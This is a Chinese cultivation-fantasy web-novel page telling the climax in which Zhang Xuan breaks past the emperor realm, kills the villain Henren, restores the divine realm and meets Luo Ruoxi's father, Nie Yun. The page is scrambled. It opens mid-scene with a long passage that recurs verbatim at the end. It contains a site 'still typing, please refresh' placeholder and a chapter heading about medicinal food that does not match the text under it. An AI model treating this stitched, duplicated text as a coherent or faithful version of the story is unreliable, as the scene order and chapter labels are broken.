绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第155章 醉仙楼药膳 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 